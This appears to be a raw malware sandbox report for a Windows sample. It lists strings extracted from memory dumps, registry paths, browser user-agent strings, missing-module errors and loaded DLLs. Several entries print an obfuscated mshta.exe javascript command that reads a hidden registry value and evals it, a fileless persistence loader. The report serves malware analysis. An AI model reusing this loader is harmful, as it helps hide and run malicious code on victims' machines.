00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp "software\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp 00000000-00005964.00000000.77427.01450000.00000004.mdmp 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.00550000.00000040.mdmp 00000000-00005964.00000001.79349.01450000.00000004.mdmp 00000000-00005964.00000002.81275.00550000.00000040.mdmp 00000000-00005964.00000002.81275.01450000.00000004.mdmp 00000000-00005964.00000002.81275.01908000.00000004.mdmp 00000000-00005964.00000003.86793.00550000.00000040.mdmp 00000000-00005964.00000003.86793.01450000.00000004.mdmp 00000000-00005964.00000003.86793.01E40000.00000004.mdmp "software\O3ZAC8p6" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp 00000000-00005964.00000001.79349.018B0000.00000004.mdmp 00000000-00005964.00000002.81275.018DC000.00000004.mdmp 00000000-00005964.00000003.86793.018B0000.00000004.mdmp "software\qwgi" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp ""C:\Windows\system32\mshta.exe" javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: 00000000-00005964.00000003.86793.00640000.00000004.mdmp "\Windows\system32\mshta.exe" javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: 00000000-00005964.00000003.86793.00640000.00000004.mdmp, "Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");H" in Source: 00000000-00005964.00000003.86793.018B0000.00000004.mdmp, "ascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: 00000000-00005964.00000003.86793.01E40000.00000004.mdmp3a:Tb20,"mshta.exe" failed to load missing module "%WINDIR%\system32\DXGIDebug.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]3b:T10ca,Found string "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" (Indicator: "mozilla/5.0 ("; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")3c:T4021,"riverobjectname.del_hklm\system\currentcontrolset\services\pvscsi" in Source: 00000000-00002164.00000001.84984.002A0000.00000004.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002164.00000002.85189.003C1000.00000020.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "HKLM\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "HKCU\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "software\" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "HKLM\" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "HKCU\" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "software\" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000000.77427.01450000.00000004.mdmp "software\O3ZAC8p6" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "HKLM\" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "HKCU\" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "software\" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000000.77427.018B0000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "HKLM\" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "HKCU\" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "software\" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000001.79349.00550000.00000040.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "HKLM\" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "HKCU\" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "software\" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000001.79349.01450000.00000004.mdmp "software\O3ZAC8p6" in Source: 00000000-00005964.00000001.79349.018B0000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "HKLM\" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "HKCU\" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "software\" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000002.81275.00550000.00000040.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "HKLM\" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "HKCU\" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "software\" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000002.81275.01450000.00000004.mdmp "software\O3ZAC8p6" in Source: 00000000-00005964.00000002.81275.018DC000.00000004.mdmp "software\qwgi" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "HKLM\" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "HKCU\" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "software\" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000002.81275.01908000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "HKLM\" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "HKCU\" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "software\" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000003.86793.00550000.00000040.mdmp ""C:\Windows\system32\mshta.exe" javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: 00000000-00005964.00000003.86793.00640000.00000004.mdmp "\Windows\system32\mshta.exe" javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: 00000000-00005964.00000003.86793.00640000.00000004.mdmp, "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "Software\Borland\Locales" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "Software\Borland\Delphi\Locales" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "SOFTWARE\" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "HKLM\" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "HKCU\" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "SOFTWARE\Classes\" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "software\" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "SOFTWARE\Classes" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005964.00000003.86793.01450000.00000004.mdmp, "software\O3ZAC8p6" in Source: 00000000-00005964.00000003.86793.018B0000.00000004.mdmp, "Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");H" in Source: 00000000-00005964.00000003.86793.018B0000.00000004.mdmp, "software\" in Source: 00000000-00005964.00000003.86793.01E40000.00000004.mdmp, "ascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell");k9ucq8YmG="1w93T0B";Z1iZp=oP25.RegRead("HKCU\\software\\O3ZAC8p6\\q80eQZg");wHn6PWoz="3IWn79w";eval(Z1iZp);FqzehO81="5aGTYUI";" in Source: 00000000-00005964.00000003.86793.01E40000.00000004.mdmp3d:T330b,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 65d70000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "USER32.DLL" at base 76530000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "ADVAPI32.DLL" at base 76700000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "OLEAUT32.DLL" at base 76290000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "KERNEL32.DLL" at base 77720000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "VERSION.DLL" at base 74d60000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "GDI32.DLL" at base 77410000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 758f0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "WININET.DLL" at base 75d50000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "OLE32.DLL" at base 77860000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "WSOCK32.DLL" at base 71f70000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "WINMM.DLL" at base 6fcd0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "ATL.DLL" at base 73dd0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "NTDLL.DLL" at base 779c0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "WTSAPI32.DLL" at base 73db0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "PSAPI.DLL" at base 77400000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "SHELL32.DLL" at base 767b0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "URLMON.DLL" at base 75c00000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "COMCTL32.DLL" at base 74790000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "CRYPTBASE.DLL" at base 757c0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77700000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "CLBCATQ.DLL" at base 77b10000 